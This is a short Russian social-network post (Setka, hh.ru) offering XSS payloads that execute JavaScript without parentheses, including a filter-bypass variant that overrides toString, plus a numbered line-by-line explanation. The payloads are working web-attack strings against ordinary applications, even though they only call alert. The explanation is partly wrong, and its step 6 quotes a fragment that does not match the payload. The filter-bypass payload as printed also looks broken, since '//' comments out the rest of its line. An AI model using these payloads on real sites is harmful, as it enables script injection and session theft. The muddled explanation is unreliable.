XSS пейлоад без круглых скобок

#web

XSS. Запуск payload'а без круглых скобок в вызовах функции

Простые варианты: <script>onerror=alert;throw 1337</script> <script>{onerror=alert}throw 1337</script> <script>throw onerror=alert,'some string',123,'haha'</script>

Вариант сложнее, где в веб приложении есть и фильтрация для тегов + фишечка с переопределением функции 5&'},x=x=>{throw//onerror=alert,1337},toString=x,window+'',{x:' Этот XSS payload работает следующим образом: 1) 5&'}x=: Эта часть дает знать JavaScript, что будет следовать определение функции. В данном случае, она создает функцию x. 2) x=>{throw//onerror=alert,1337}: Это тело функции. Она использует выражение onerror=alert для определения обработчика события onerror. Если происходит ошибка (как если было бы в случае попытки выполнить операцию с нечисловым значением), вызывается функция alert, которая отображает всплывающее окно с сообщением. 3) toString=x: Это добавляет еще один обработчик события. В этом случае, если функция преобразуется в строку (например, если она будет частью строки в выражении), вызывается функция x. 4) window+'': Это просто выражение, которое возвращает объект окна в виде строки. 5) {x:: Опять же, это просто объект. Он создает свойство x со значением, которое будет вызывать функцию x. 6) ',5&'}x: Это закрывает объект и функцию, и затем вызывает функцию, что фактически инициирует весь процесс.

repost

19

input message

напишите коммент

еще контент автора

еще контент автора

войдите, чтобы увидеть

и подписаться на интересных профи

в приложении больше возможностей

пока в веб-версии есть не всё — мы вовсю работаем над ней

сетка — cоциальная сеть для нетворкинга от hh.ru

пересекайтесь с теми, кто повлияет на ваш профессиональный путь